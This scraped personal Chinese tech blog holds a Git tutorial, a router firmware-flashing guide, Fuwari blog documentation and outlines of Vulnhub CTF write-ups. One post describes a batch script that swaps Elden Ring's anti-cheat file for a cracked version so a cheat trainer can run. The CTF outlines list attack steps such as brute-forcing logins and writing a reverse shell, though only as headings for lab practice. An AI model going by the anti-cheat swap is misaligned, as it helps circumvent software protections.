已修改（modified）: 文件已被修改但尚未添加到暂存区。
已暂存（staged）: 文件已经被添加到暂存区，并已包含在下一次提交的快照中。
已提交（committed）: 文件已被永久保存在本地仓库中。

4.2.工作区域

工作区 (Working Directory): 你直接进行编辑和修改的项目文件所在地。
暂存区 (Staging Area): 一个中间区域，用于存放你打算在下一次提交时包含的文件列表。
本地仓库 (Repository): 存储了所有已提交版本的数据的区域，也就是 .git 目录。

4.3.查看暂存区中的内容

git ls-files

5.添加和提交文件

5.1.常用命令

1）添加文件

git add <file>

2）提交文件

git commit -m <message>

3）查看仓库状态

git status

4）查看文件差异

git diff <file>

5）查看提交记录

git log 	# 查看提交记录
git log --oneline	# 查看简洁的提交记录
git log --pretty=oneline

6. 版本回退

在Git中，用HEAD表示当前版本,上一个版本就是HEAD^，上上一个版本就是HEAD^^，当然往上100个版本写100个^比较容易数不过来，所以写成HEAD~100。

$ git reset --hard HEAD^
HEAD is now at e475afc add distributed

查看历史操作，使用 git reset --hard commit id 回退到之前的版本。

$ git reflog
90244a0 (HEAD -> master) HEAD@{0}: reset: moving to HEAD^
7c524f7 HEAD@{1}: commit: append GPL
90244a0 (HEAD -> master) HEAD@{2}: commit: add distributed
3730607 HEAD@{3}: commit (initial): wrote a readme file

6.1.工作区和暂存区

工作区（Working Directory）：就是你在电脑里能看到的目录，比如我的learngit文件夹就是一个工作区。

暂存区：在工作区的隐藏目录 .git 中, 存放了当前仓库的版本库，版本库中最重要的就是称为stage（或者叫index）的暂存区 ，提交的文件会先被放入到暂存区中，在提交是会被一次性提交。

6.2.撤销修改

git checkout -- <file> 可以丢弃工作区的修改。其中分为两种情况：一种是 file 在修改前没有没存放到暂存区中，撤销后文件回到上个版本。另一种是 file 已经添加到暂存区后，又进行了修改，撤销后会回退到和暂存区状态一样的版本。

$ git checkout -- readme.txt

当已经将错误的修改提交到暂存区时该如何修改，我们可以回退到现在的版本即可。

git reset --hard HEAD

6.3.版本回退命令总结

回退版本：git reset --hard <commit ID>
回退到上个版本：git reset --hard HEAD^
查看历史操作：git reflog

7.远程仓库

7.1.创建SSH Key

ssh key 通常存放在用户主目录下的 .ssh 目录中

ssh-keygen -t rsa -C "youremail@example.com"

创建完成后会在用户主目录下的 .ssh 目录中会有id_rsa和id_rsa.pub两个文件，id_rsa是私钥，不能泄露出去，id_rsa.pub是公钥，可以放心地告诉任何人。

7.1.1上传公钥给Github

点击你的头像 --> Settings --> SSH and GPG keys --> New SSH key

7.1.2.配置Git强制使用刚才创建的SSH key[选做]

在 ~/.ssh/config 中写入：

Host github.com
    HostName github.com
    User git
    IdentityFile ~/.ssh/id_rsa
    IdentitiesOnly yes

7.1.3.测试SSH 能否正常连接

第一次会提示 Are you sure you want to continue connecting (yes/no)?，输入 yes 后，如果密钥正确并且 GitHub 账号已绑定公钥，会返回类似：

PS C:\Users\Owen_W> ssh -T git@github.com
Hi Owenwoow! You've successfully authenticated, but GitHub does not provide shell access.

-T Disable pseudo-terminal allocation. （不分配伪终端，只进行认证）

7.2.添加远程仓库

首先，登陆GitHub，然后，在右上角找到加号点击“New repository”按钮，创建一个新的仓库：

在Repository name填入learngit，其他保持默认设置，点击“Create repository”按钮，就成功地创建了一个新的Git仓库：

目前，在GitHub上的这个 learngit 仓库还是空的，GitHub告诉我们，可以从这个仓库克隆出新的仓库，也可以把一个已有的本地仓库与之关联，然后，把本地仓库的内容推送到GitHub仓库。

现在，我们根据GitHub的提示，在本地的learngit仓库下运行命令：

$ git remote add origin https://github.com/Owenwoow/learngit.git
$ git branch -M main
$ git push -u origin main

添加后，远程库的名字就是origin，这是Git默认的叫法，也可以改成别的，但是origin这个名字一看就知道是远程库。然后，就可以把本地库的所有内容推送到远程库上。

$ git branch -M main
$ git push -u origin main

简单讲解一些这两条参数:

git branch -M main 将当前分支强制重置为main。
git push -u origin main 这是一个推送分支到远程仓库并设置 upstream 的命令。
- -u：为本地分支设置上游（upstream），即在未来使用 git push、git pull 时不需要再指定 origin main，
- origin：远程仓库的名称（默认）
- main：要推送的分支名称。

如此我们就将本地仓库推送到了Github上，在GitHub页面中看到远程库的内容已经和本地一模一样的内容。

7.3.SSH警告

当你第一次使用Git的clone或者push命令连接GitHub时，会得到一个警告：

The authenticity of host 'github.com (xx.xx.xx.xx)' can't be established.
RSA key fingerprint is xx.xx.xx.xx.xx.
Are you sure you want to continue connecting (yes/no)?

这是因为Git使用SSH连接，而SSH连接在第一次验证GitHub服务器的Key时，需要你确认GitHub的Key的指纹信息是否真的来自GitHub的服务器，输入yes回车即可。

Git会输出一个警告，告诉你已经把GitHub的Key添加到本机的一个信任列表里了：

Warning: Permanently added 'github.com' (RSA) to the list of known hosts.

这个警告只会出现一次，后面的操作就不会有任何警告了。

7.4.删除远程库

如果添加的时候地址写错了，或者就是想删除远程库，可以用git remote rm <name>命令。使用前，建议先用git remote -v查看远程库信息：

$ git remote -v
origin  git@github.com:Owenwoow/learngit.git (fetch)
origin  git@github.com:Owenwoow/learngit.git (push)

然后，根据名字删除，比如删除origin：

$ git remote rm origin

此处的“删除”其实是解除了本地和远程的绑定关系，并不是物理上删除了远程库。远程库本身并没有任何改动。要真正删除远程库，需要登录到GitHub，在后台页面找到删除按钮再删除。

7.5.克隆远程仓库

从远程仓库 git clone 下来的仓库已经自动绑定了远程仓库，并且默认把远程仓库命名为 origin，所有我们只需要输入以下命令即可：

git clone git@github.com:Owenwoow/learngit.git

8.分支管理

8.1.创建与合并分支

分支的原理

首先我们需要理清Git的存储方式，每次提交，Git都把它们串成一条时间线，这条时间线就是一个分支。截止到目前，只有一条时间线，在Git里，这个分支叫主分支，即master分支。HEAD严格来说不是指向提交，而是指向master，master才是指向提交的，所以，HEAD指向的就是当前分支。

一开始的时候，master分支是一条线，Git用master指向最新的提交，再用HEAD指向master，就能确定当前分支，以及当前分支的提交点：

                  HEAD
                    │
                    ▼
                 master
                    │
                    ▼
┌───┐    ┌───┐    ┌───┐
│   │───▶│   │───▶│   │
└───┘    └───┘    └───┘

每次提交，master分支都会向前移动一步，这样，随着你不断提交，master分支的线也越来越长。

当我们创建新的分支，例如dev时，Git新建了一个指针叫dev，指向master相同的提交，再把HEAD指向dev，就表示当前分支在dev上：

                 master
                    │
                    ▼
┌───┐    ┌───┐    ┌───┐
│   │───▶│   │───▶│   │
└───┘    └───┘    └───┘
                    ▲
                    │
                   dev
                    ▲
                    │
                  HEAD

你看，Git创建一个分支很快，因为除了增加一个dev指针，改改HEAD的指向，工作区的文件都没有任何变化！

不过，从现在开始，对工作区的修改和提交就是针对dev分支了，比如新提交一次后，dev指针往前移动一步，而master指针不变：

                 master
                    │
                    ▼
┌───┐    ┌───┐    ┌───┐    ┌───┐
│   │───▶│   │───▶│   │───▶│   │
└───┘    └───┘    └───┘    └───┘
                             ▲
                             │
                            dev
                             ▲
                             │
                           HEAD

假如我们在dev上的工作完成了，就可以把dev合并到master上。Git怎么合并呢？最简单的方法，就是直接把master指向dev的当前提交，就完成了合并：

                           HEAD
                             │
                             ▼
                          master
                             │
                             ▼
┌───┐    ┌───┐    ┌───┐    ┌───┐
│   │───▶│   │───▶│   │───▶│   │
└───┘    └───┘    └───┘    └───┘
                             ▲
                             │
                            dev

所以Git合并分支也很快！就改改指针，工作区内容也不变！

合并完分支后，甚至可以删除dev分支。删除dev分支就是把dev指针给删掉，删掉后，我们就剩下了一条master分支：

                           HEAD
                             │
                             ▼
                          master
                             │
                             ▼
┌───┐    ┌───┐    ┌───┐    ┌───┐
│   │───▶│   │───▶│   │───▶│   │
└───┘    └───┘    └───┘    └───┘

Git分支管理相关命令:

查看分支：git branch
创建分支：git branch <name>
切换分支：git checkout <name> / git switch <name>
创建+切换分支：git checkout -b <name> / git switch -c <name>
合并某分支到当前分支：git merge <name>
删除分支：git branch -d <name> / git checkout -d <name>

注意: 到切换分支使用git checkout <branch>，和撤销修改则是git checkout -- <file>，同一个命令，有两种作用，确实有点令人迷惑。因此，最新版本的Git提供了新的git switch命令来切换分支。

8.2.解决冲突

主分支和其他分支都添加了commit的情况下合并会产出异常，git会将两个版本的文件区别添加到文件中你需要手动修改。在这过程中可以使用gti status 来查看冲突文件，修改后重新提交。

用带参数的git log也可以看到分支的合并情况：

$ git log --graph --pretty=oneline --abbrev-commit
*   3e55018 (HEAD -> main) conflict fixed
|\
| * c2e37d1 (feature1) AND simple
* | cadec8c & simple
|/
* a8bf546 branch test
* 7a66518 (origin/main) hello
* a2ae1d7 add test.txt
* 7c524f7 append GPL
* 90244a0 add distributed
* 3730607 wrote a readme file

等待更新...

参考文献：

记一次bat脚本撰写：方便的替换艾尔登法环反作弊文件

Sun, 26 Oct 2025 00:00:00 GMT

起因

起初是因为在玩艾尔登法环的时候想从战士转成法师玩玩，这就需要修改属性。但是法环中修改玩家属性不是无限次的，此时我就想到要用风灵月影来修改玩家的属性。

因为启动风灵月影需要替换掉本体的小蓝熊，所以换成破解版的小蓝熊后法环就变成了离线模式，无法查看玩家的留言，这也就损失掉了游戏的一大乐趣。因此我就需要频繁替换游戏文件，作为懒人，我当然要解决这个问题，所以我决定写一个bat脚本来解决这个问题。

途中踩到的坑

在第一版的代码中，我一直不能成功执行替换文件的命令，但是改为 echo "...."就可以成功执行。

if "!type!"=="original" (
    echo 是否替换为【破解版反作弊】？(y/n)
	........
    )

原因

括号 () 的作用： 在批处理脚本中，括号用于命令块（Code Block）。你的 if 和 else if 语句后面都跟了一个 (...) 块，意思是“如果条件为真，则执行括号里的所有命令”。
去掉引号后， echo 是否替换为【破解版反作弊】？(y/n) 中的 ) 提前闭合了 if 的 ( ，导致程序结束从而无法执行后续的代码。

正确的做法

使用转义字符 ^ 来告诉解析器“这个括号不是语法，只是一个普通字符”：

echo 是否替换为【原版防护】？ ^（y/n^）

注意：转义全角括号 （） 的行为可能因系统环境而异，转义半角括号 () 是标准做法：echo ... ^(y/n^)。

但显然，这远不如直接加双引号来得清晰明了。

Cudy_tr3000 刷机教程

Thu, 02 Oct 2025 00:00:00 GMT

概述：

本次刷入的固件为恩山237大佬的 0702-cudy immortalwrt 24.10闭源无线大功率固件。在刷机过程中涉及的全部固件将统一打包并上传至网盘，以便大家后续查阅和下载。同时，文章中使用到的所有项目地址和本文作者整理好的所有固件包均会在文章底部的参考连接部分进行整理与列出。

一、刷入过度包

1.下载OpenWrt的升级镜像包（cudy_tr3000-v1-sysupgrade.bin）

OpenWrt Wiki] Table of Hardware: Firmware downloads

2.进入路由器后台刷入过度包

登录原厂后台后，进入 高级设置 页面，向下滚动至页面底部，找到 固件升级 选项。选择之前下载好的升级固件并开始刷写，系统将在刷写完成后自动重启。若过程中弹出提示“连接已断开，请检查是否通过有线或无线网络连接到路由器”，则表明固件已成功刷入。

3.登入刷写好的后台进行验证

在浏览器输入 192.168.1.1 登入后台进行验证。密码为空直接点击登入

二、备份 FIP 分区

注意：需要刷回原厂固件的记得先备份 FIP 分区！

点击系统，选择备份与升级，找到保存mtdblook 内容，选择为FIP保存下载

三、刷入升级固件

在当前界⾯中选择：系统->备份与升级，在“刷写新的固件“选项中，上传您下载的OpenWrt固件。

四、刷入uboot

1、上传并输入uboot

升级完成后，页面会自动刷新。默认登录密码为 password。进入主页后，依次选择：系统 → 文件传输，上传 U-Boot 文件。随后进入 系统 → TTYD 终端，使用以下账户信息登录：

用户名：root
密码：password

登录成功后，执行下列命令完成 U-Boot 的刷写操作。

cd /tmp/upload/

mtd write mt7981_cudy_tr3000-mod-u-boot.fip FIP

2、修改网卡地址，重启路由器

将以太网网卡的 IP 地址设置为 192.168.1.2，子网掩码设置为 255.255.255.0，并确保电脑的首选网口已连接至路由器的 LAN 口。拔掉路由器电源，按住 Reset 按键不放的同时接通电源，保持约 10 秒后松开，即可进入下一步操作。

3、在浏览器地址栏输入 192.168.1.1，进入 U-Boot 后台管理界面。现在你就可以选择你需要输入的大分区固件了（112M）

五、刷入immortalwrt 24.10闭源无线大功率固件

在浏览器地址栏输入 192.168.1.1，进入 U-Boot 后台管理界面。选择上传固件并开始刷写，耐心等待路由器完成刷机过程。刷机完成后，将以太网网卡的 IP 地址调整为自动获取IP地址模式（DHCP），随后在浏览器中访问 192.168.6.1，即可进入路由器后台管理页面。

参考链接

本教程刷入固件地址：cudy immortalwrt 24.10闭源无线大功率固件-OPENWRT专版-恩山无线论坛 - Powered by Discuz!

Cudy TR3000 的情报收集：折腾 Cudy TR3000 的情报收集-OPENWRT专版-恩山无线论坛 - Powered by Discuz!

恩山暗云大佬的刷机教程：Cudy TR3000 刷机教程指北-OPENWRT专版-恩山无线论坛 - Powered by Discuz!

B站参考教程（讲的很清晰，还原会原厂系统看一下这期视频中的介绍）：随意刷OpenWrt,超高性比便携路由器Cudy TR3000刷机/刷回原厂教程分享,一个视频全搞定!_哔哩哔哩_bilibili

文章作者整理的刷机固件包：

百度：https://pan.baidu.com/s/1KPLpyDUZvPhR3L3u6Og0lg 提取码: 0721
夸克：https://pan.quark.cn/s/79b3013dd1ed 提取码：Bsc3
123：https://www.123912.com/s/tdpFjv-SkXw3 提取码:0d00

结尾：

写这篇文章也是临时起意，主要是想记录一下折腾的过程，留做存档。作为为新手，在刷机过程中发现相关资料比较分散，缺少完整的图文教程，因此尽量把自己的经历写得详细一些，供大家参考。第一次尝试写这种教程类的文章，难免有不足，欢迎大家在评论区指正。

用于我个人博客的commit提交规范

Mon, 25 Aug 2025 00:00:00 GMT

常见的规范基础

社区里最常用的是 Conventional Commits，它提供了统一的格式：

<type>(<scope>): <subject>

关于我博客项目常用的 commit 规范概览

1. type（提交类型）

用于说明这次提交的性质。常见类型及在博客项目里的应用：

feat: 新增功能
- 例：feat(post): 更新《添加 RSS 图片处理功能》
fix: 修复 bug
- 例：fix(theme): 修正暗黑模式下的代码高亮颜色

2. scope（影响范围，可选）

说明修改的具体模块，例如：

post（文章相关）
rss（订阅源功能）
page (页面)

3. subject（简短描述）

用简洁动词开头（添加、修复、优化等）。
不以大写字母开头，不加句号结尾。

我的博客站点正式上线啦！

Thu, 21 Aug 2025 00:00:00 GMT

嘿嘿嘿嘿嘿嘿嘿嘿嘿，我的博客也是正式上线了。搭建博客这件事情在去年寒假的时候就想做了，但是本人比较懒硬是拖到了暑假才搞定。不过很巧的是，之前我原本是想用hexo或者hugo上的一个模板作为框架的，没想到暑假刷视频的时候看到了二叉树树的视频，了解到了fuwari这个博客框架，也是满足了我对博客模板的很多想象。

后续我也会多多在这个站点上更新博客的。毕竟攒了一年的文章可不是白写的，最近回整理一下慢慢发出来啦。

在Markdown文章中添加视频

Wed, 20 Aug 2025 00:00:00 GMT

只需从 YouTube 或 Bilibili 等平台复制嵌入代码，然后粘贴到 Markdown 文件中即可。

复制下来的宽高可能不太适合博客页面，可以自定义一些宽高：

<iframe width="100%" height="468" src="https://www.youtube.com/embed/5gIf0_xpFPI?si=N1WTorLKL0uwLsU_" title="YouTube video player" frameborder="0" allowfullscreen></iframe>

YouTube

Bilibili

Markdown 扩展功能

Wed, 20 Aug 2025 00:00:00 GMT

GitHub 存储库卡片

您可以添加链接到 GitHub 存储库的动态卡片，在页面加载时，存储库信息将从 GitHub API 中提取。

::github{repo="saicaca/fuwari"}

使用代码创建 GitHub 存储库卡片 ::github{repo="<owner>/<repo>"}.

::github{repo="saicaca/fuwari"}

Admonitions

支持以下类型的警告： note/注意 tip/提示 important/重要 warning/警告 caution/谨慎

:::note Highlights information that users should take into account, even when skimming.

:::

:::tip Optional information to help a user be more successful. :::

:::important Crucial information necessary for users to succeed. :::

:::warning Critical content demanding immediate user attention due to potential risks. :::

:::caution Negative potential consequences of an action. :::

基本语法

:::note
Highlights information that users should take into account, even when skimming.
:::

:::tip
Optional information to help a user be more successful.
:::

自定义标题

告诫的标题可以自定义。

:::note[我的自定义标题] 这是带有自定义标题的注释。 :::

:::note[我的自定义标题]
这是带有自定义标题的注释。
:::

GitHub 语法

[!TIP] GitHub 语法也受支持。

> [!NOTE]
> The GitHub syntax is also supported.

> [!TIP]
> The GitHub syntax is also supported.

Fuwari 静态博客简易使用指南

Wed, 20 Aug 2025 00:00:00 GMT

文章前言

本片文章主要对了在部署完成 Fuwari 静态博客后可能会遇到的问题做一个简单的解答，比如：怎样在本地启动开发环境，如何发布一篇文章，对于文章中前置数据块的解释等。有关于 Fuwari 博客详细的部署教程会在后续更新。

0x01-在本地启动运行环境

首先你要确保本机已安装 node.js环境，在将 cmd命令行的目录移动到存放博客源码的位置，输入后续内容。

# 如果为构建以来需要构建
pnpm install

# 启动运行环境
pnpm dev

0x02-创建文章

同样，需要将 cmd 命令行目录移动到存放博客源码的位置

pnpm new-post '文章标题'

![image-20250825213828210](./img/Fuwari 简易使用指南/image-20250825213828210.png)

0x03-文章的存放路径

md文件应放置在src/content/posts/目录中。也可以创建子目录，以便更好地组织您的帖子和资源。这里我修改了一下脚本源码，创建的新文章存放的目录会更具真实日期创建 (2025\08\25)

src/content/posts/
├── post-1.md
└── post-2/
    ├── cover.png
    └── index.md

0x04-文章前置数据块的解释

使用脚本创建文章后，每篇文章会自带以下标签，我称它为前置数据块的解释(Front Matter)

在静态博客生成器（例如 Astro、Hugo、Hexo、Jekyll 等）里，Front Matter 通常放在 Markdown 文件头部，用三条短横线 --- 包裹，主要作用是为文章提供元数据（metadata）。这些元数据不会直接显示在正文里，但会被博客系统读取，用来生成页面、列表、SEO 信息等。

---
title: My First Blog Post
published: 2023-09-09
description: This is the first post of my new Astro blog.
image: ./cover.jpg
tags: [Foo, Bar]
category: Front-end
draft: false
---

属性	描述
`title`	文章标题
`published`	文章发布日期
`description`	文章简介，显示在首页
`image`	文章封面图片路径。<br/>1. 以 `http://` 或 `https://` 开头：使用网页图片<br/>2. 以 `/` 开头：用于 `public` 目录中的图片<br/>3. 不带任何前缀：相对于 markdown 文件
`tags`	文章标签
`category`	文章分类
`draft`	如果文章仍为草稿，则不会显示（false：显示/true：不显示）

Fuwari中富有表现力的代码示例

Wed, 20 Aug 2025 00:00:00 GMT

Here, we'll explore how code blocks look using Expressive Code. The provided examples are based on the official documentation, which you can refer to for further details.

Expressive Code

Syntax Highlighting

Regular syntax highlighting

console.log('This code is syntax highlighted!')

Rendering ANSI escape sequences

ANSI colors:
- Regular: [31mRed[0m [32mGreen[0m [33mYellow[0m [34mBlue[0m [35mMagenta[0m [36mCyan[0m
- Bold:    [1;31mRed[0m [1;32mGreen[0m [1;33mYellow[0m [1;34mBlue[0m [1;35mMagenta[0m [1;36mCyan[0m
- Dimmed:  [2;31mRed[0m [2;32mGreen[0m [2;33mYellow[0m [2;34mBlue[0m [2;35mMagenta[0m [2;36mCyan[0m

256 colors (showing colors 160-177):
[38;5;160m160 [38;5;161m161 [38;5;162m162 [38;5;163m163 [38;5;164m164 [38;5;165m165[0m
[38;5;166m166 [38;5;167m167 [38;5;168m168 [38;5;169m169 [38;5;170m170 [38;5;171m171[0m
[38;5;172m172 [38;5;173m173 [38;5;174m174 [38;5;175m175 [38;5;176m176 [38;5;177m177[0m

Full RGB colors:
[38;2;34;139;34mForestGreen - RGB(34, 139, 34)[0m

Text formatting: [1mBold[0m [2mDimmed[0m [3mItalic[0m [4mUnderline[0m

Editor & Terminal Frames

Code editor frames

console.log('Title attribute example')

<!-- src/content/index.html -->
<div>File name comment example</div>

Terminal frames

echo "This terminal frame has no title"

Write-Output "This one has a title!"

Overriding frame types

echo "Look ma, no frame!"

# Without overriding, this would be a terminal frame
function Watch-Tail { Get-Content -Tail 20 -Wait $args }
New-Alias tail Watch-Tail

Text & Line Markers

Marking full lines & line ranges

// Line 1 - targeted by line number
// Line 2
// Line 3
// Line 4 - targeted by line number
// Line 5
// Line 6
// Line 7 - targeted by range "7-8"
// Line 8 - targeted by range "7-8"

Selecting line marker types (mark, ins, del)

function demo() {
  console.log('this line is marked as deleted')
  // This line and the next one are marked as inserted
  console.log('this is the second inserted line')

  return 'this line uses the neutral default marker type'
}

Adding labels to line markers

// labeled-line-markers.jsx
<button
  role="button"
  {...props}
  value={value}
  className={buttonClassName}
  disabled={disabled}
  active={active}
>
  {children &&
    !active &&
    (typeof children === 'string' ? <span>{children}</span> : children)}
</button>

Adding long labels on their own lines

// labeled-line-markers.jsx
<button
  role="button"
  {...props}

  value={value}
  className={buttonClassName}

  disabled={disabled}
  active={active}
>

  {children &&
    !active &&
    (typeof children === 'string' ? <span>{children}</span> : children)}
</button>

Using diff-like syntax

+this line will be marked as inserted
-this line will be marked as deleted
this is a regular line

--- a/README.md
+++ b/README.md
@@ -1,3 +1,4 @@
+this is an actual diff file
-all contents will remain unmodified
 no whitespace will be removed either

Combining syntax highlighting with diff-like syntax

  function thisIsJavaScript() {
    // This entire block gets highlighted as JavaScript,
    // and we can still add diff markers to it!
-   console.log('Old code to be removed')
+   console.log('New and shiny code!')
  }

Marking individual text inside lines

function demo() {
  // Mark any given text inside lines
  return 'Multiple matches of the given text are supported';
}

Regular expressions

console.log('The words yes and yep will be marked.')

Escaping forward slashes

echo "Test" > /home/test.txt

Selecting inline marker types (mark, ins, del)

function demo() {
  console.log('These are inserted and deleted marker types');
  // The return statement uses the default marker type
  return true;
}

Word Wrap

Configuring word wrap per block

// Example with wrap
function getLongString() {
  return 'This is a very long string that will most probably not fit into the available space unless the container is extremely wide'
}

// Example with wrap=false
function getLongString() {
  return 'This is a very long string that will most probably not fit into the available space unless the container is extremely wide'
}

Configuring indentation of wrapped lines

// Example with preserveIndent (enabled by default)
function getLongString() {
  return 'This is a very long string that will most probably not fit into the available space unless the container is extremely wide'
}

// Example with preserveIndent=false
function getLongString() {
  return 'This is a very long string that will most probably not fit into the available space unless the container is extremely wide'
}

Collapsible Sections

// All this boilerplate setup code will be collapsed
import { someBoilerplateEngine } from '@example/some-boilerplate'
import { evenMoreBoilerplate } from '@example/even-more-boilerplate'

const engine = someBoilerplateEngine(evenMoreBoilerplate())

// This part of the code will be visible by default
engine.doSomething(1, 2, 3, calcFn)

function calcFn() {
  // You can have multiple collapsed sections
  const a = 1
  const b = 2
  const c = a + b

  // This will remain visible
  console.log(`Calculation result: ${a} + ${b} = ${c}`)
  return c
}

// All this code until the end of the block will be collapsed again
engine.closeConnection()
engine.freeMemory()
engine.shutdown({ reason: 'End of example boilerplate code' })

Line Numbers

Displaying line numbers per block

// This code block will show line numbers
console.log('Greetings from line 2!')
console.log('I am on line 3')

// Line numbers are disabled for this block
console.log('Hello?')
console.log('Sorry, do you know what line I am on?')

Changing the starting line number

console.log('Greetings from line 5!')
console.log('I am on line 6')

Owen_W Blog

Vulnhub Connect The Dots 1 WriteUp

前言

靶场介绍

靶场信息

涉及工具

思维导图

1. 信息收集

1.1 Nmap 信息扫描

端口扫描

详细信息

UDP 扫描

漏洞扫描

1.2 FTP 探测

1.3 NFS

1.4 Web 探测

目录枚举

2. 权限立足

2.1 解密

3. 提权

3.1 信息收集（norris 用户）

计划任务

SUID 文件

可写文件

家目录

3.2 切换至 morris 用户

SUID 文件（morris 用户）

可写文件（morris 用户）

3.3 提权利用

4. 总结

5. 补充

5.1 Linux Capabilities

5.2 polkit 提权详解

整体流程

第一步：谁在真正运行服务？

第二步：polkit 在哪里介入？

第三步：权限怎么给到 bash？

6. 参考链接

Vulnhub Fowsniff 1 WriteUp

前言

靶场介绍

靶场信息

涉及工具

思维导图

靶机环境配置

1.信息收集

1.1 Nmap 信息扫描

端口扫描

详细信息

漏洞扫描

1.2 Web 探测

目录扫描

1.3 POP3 探测

1.4 OSINT：追踪泄露密码

2.权限立足

2.1 Hydra 爆破 POP3 / SSH

2.2 POP3 读取邮件

2.3 SSH 登录

3.提权

3.1 信息收集

sudo 权限

计划任务

SUID 文件

3.2 组权限分析

3.3 提权：写入反弹 Shell

4.总结

5.补充

提权原理：MOTD 机制 + 组可写文件

第一层：/etc/update-motd.d/ 是什么？

第二层：00-header 调用了 cube.sh

第三层：cube.sh 对 users 组可写

完整攻击链总结

一个重要细节

6.参考资料

Vulnhub HA Narak WriteUp

前言

靶场介绍

靶场信息

思维导图

1. 信息收集

第一层：`/etc/update-motd.d/` 是什么？

第二层：`00-header` 调用了 `cube.sh`

第三层：`cube.sh` 对 `users` 组可写